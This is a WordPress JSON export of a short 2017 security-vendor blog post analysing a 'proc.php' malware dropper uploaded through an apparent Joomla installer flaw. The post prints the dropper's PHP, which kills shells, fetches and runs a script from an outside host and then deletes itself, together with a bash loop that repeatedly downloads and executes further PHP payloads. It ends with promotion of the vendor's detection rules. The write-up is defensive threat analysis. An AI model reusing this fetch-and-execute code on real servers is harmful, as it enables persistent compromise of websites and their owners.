{"id":2668,"date":"2017-03-23T11:05:29","date_gmt":"2017-03-23T08:05:29","guid":{"rendered":"https:\/\/malware.expert\/?p=2668"},"modified":"2017-03-23T13:09:04","modified_gmt":"2017-03-23T10:09:04","slug":"proc-php","status":"publish","type":"post","link":"https:\/\/malware.expert\/malware\/proc-php\/","title":{"rendered":"proc.php"},"content":{"rendered":"

Again we found new malware, that trying using php shell_exec function to download and include more malware to server.<\/p>\n

POST Payload<\/h3>\n

This looks like joomla file upload vulnerability:<\/p>\n

\r\n--2a2ea832-B--\r\nPOST \/administrator\/index.php?option=com_installer&videw=install HTTP\/1.0\r\n<\/pre>\n
Payload trying upload proc.php file to server and execute it:<\/p>\n
proc.php<\/h3>\n
\r\n--2a2ea832-C--\r\nWordpress\r\n<?php\r\nshell_exec("pkill bash 2>&1");\r\nshell_exec("pkill sh 2>&1");\r\nshell_exec("wget hxxp:\/\/recaptcha-in.pw\/bash\/p.sh 2>&1");\r\nshell_exec("nohup bash .\/p.sh & 2>&1");\r\nshell_exec("rm p.sh 2>&1");\r\nunlink(__FILE__);\r\n?>\r\n<\/pre>\n
p.sh<\/h3>\n
It’s trying download p.sh bash script and execute it. When it executed it remove itself and also final remove also proc.php to hiding itself.<\/p>\n
\r\nwhile :; do wget -c hxxp:\/\/recaptcha-in.pw\/bash\/xtaccess -O p.php &> \/dev\/null;\r\nchmod 777 p.php &> \/dev\/null; php ${PWD}\/p.php &> \/dev\/null;\r\nwget -c hxxp:\/\/recaptcha-in.pw\/bash\/head -O h.php &> \/dev\/null;\r\nchmod 777 h.php &> \/dev\/null; php ${PWD}\/h.php &> \/dev\/null; sleep 3600; done\r\n<\/pre>\n
Again it download more malware (p.php & h.php) files and executed them. These infect more php files.<\/p>\n
Final words<\/h2>\n
If server PHP disable_functions<\/a> include shell_exec function, this is harmfull. <\/p>\n
Websites that using Malware Expert \u2013 ModSecurity rules<\/a> are protected against this attack.<\/p>\n
Use Malware Expert – Signatures<\/a> detect this malware from files for FREE!<\/p>\n","protected":false},"excerpt":{"rendered":"
Again we found new malware, that trying using php shell_exec function to download and include more malware to server. POST Payload This looks like joomla file upload vulnerability: –2a2ea832-B– POST \/administrator\/index.php?option=com_installer&videw=install HTTP\/1.0 Payload trying upload proc.php file to server and execute it: proc.php –2a2ea832-C– Wordpress <?php shell_exec("pkill bash 2>&1"); shell_exec("pkill sh 2>&1"); shell_exec("wget hxxp:\/\/recaptcha-in.pw\/bash\/p.sh 2>&1"); … Read more<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[66],"tags":[64,55,23,200],"class_list":["post-2668","post","type-post","status-publish","format-standard","hentry","category-malware","tag-bash","tag-malware","tag-php","tag-proc-php"],"yoast_head":"\nproc.php<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/malware.expert\/malware\/proc-php\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"proc.php\" \/>\n<meta property=\"og:description\" content=\"Again we found new malware, that trying using php shell_exec function to download and include more malware to server. POST Payload This looks like joomla file upload vulnerability: --2a2ea832-B-- POST \/administrator\/index.php?option=com_installer&videw=install HTTP\/1.0 Payload trying upload proc.php file to server and execute it: proc.php --2a2ea832-C-- Wordpress <?php shell_exec("pkill bash 2>&1"); shell_exec("pkill sh 2>&1"); shell_exec("wget hxxp:\/\/recaptcha-in.pw\/bash\/p.sh 2>&1"); ... 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